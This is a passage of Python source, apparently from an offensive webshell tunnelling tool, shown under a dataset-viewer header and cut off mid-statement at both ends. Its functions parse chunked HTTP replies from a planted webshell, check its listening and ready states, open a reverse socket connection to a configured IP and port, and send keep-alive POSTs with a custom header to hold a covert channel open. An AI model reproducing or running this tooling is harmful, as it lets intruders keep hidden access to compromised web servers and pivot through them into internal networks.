text
stringlengths
1
93.6k
# grab the first chuck_len bytes, discarding the final \r\n
_m = _data[:chunk_len]
log.debug(
"Read and returning message (chunk_len: {}): {}".format(
chunk_len, repr(_m)))
#
# return the first chunk to the caller and keep the rest into _data, so
# it can be returned at the next iteration of this generator
yield _m
#
# process next chunk
log.debug(
"Processing next chunk... at index {} of {}".format(
chunk_len, repr(_data)))
# note: the returned data ended with a \r\n, which is *not* part of
# chunk_len so we must skip ahead here to discard that sequence
# (see http spec ref on top of file)
# XXX what if len(data) < chunk_len + 2?
_data = _data[chunk_len + 2:]
def setup(websock, consock, inbound_data,
SOCKET_MODE, CONNECT_IP, CONNECT_PORT):
"""Tries to verify that the server is speaking with the target."""
if b'INIT' not in next(inbound_data):
raise SystemExit("Server did not initialise successfully")
print("[*] Server initialised successfully")
# poll the current state: can be either LISTENING or SUCCESS
current_state = next(inbound_data)
log.debug("Current state: {}".format(current_state))
if SOCKET_MODE == 'Connect':
if b'LISTEN' not in current_state:
raise SystemExit(
"Server is not listening: {}".format(current_state))
# now wait for a SUCCESS before continuing
current_state = next(inbound_data)
if b'SUCCESS' not in current_state:
raise SystemExit("[!] Server is not ready: {}".format(
current_state))
log.debug(
"Client will try to connect to {}:{}".format(
CONNECT_IP, CONNECT_PORT))
# TODO use encrypted sockets if requested
try:
consock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
consock.connect((CONNECT_IP, CONNECT_PORT))
print("[*] Reverse connection established with {}:{}".format(
CONNECT_IP, CONNECT_PORT))
except socket.error as e:
raise SystemExit(
"Client error when connecting to {}:{}: {}".format(
CONNECT_IP, CONNECT_PORT, e))
else:
# no need to wait - server should be in SUCCESS state
if b'SUCCESS' not in current_state:
raise SystemExit(
"Failure on webshell: {}".format(current_state))
print("[*] Server connected to target successfully")
return consock
def dispatch(
websock,
consock,
inbound_data,
thread_hb,
counter_thread,
post_factory,
socket_factory,
cookies,
is_async,
mode
):
if is_async:
print("[*] Initialising remote listener...")
# FUNDAMENTAL - close the set-up POST
# so that the Session can store the socket
websock.shutdown(socket.SHUT_RDWR)
websock.close()
del websock
# send a stand-alone POST to talk to the server-side client
my_headers = b''.join((
b'X-ServerSide: 1\r\n',
# b'Cookie: %s\r\n' % cookie,
bake_cookies(cookies),
header_mode(mode),
# This connection must be kept alive because it's where
# the server will send continuously send data
b"Connection: keep-alive\r\n",
))
# send data as a brand new POST request
req = post_factory.build_request(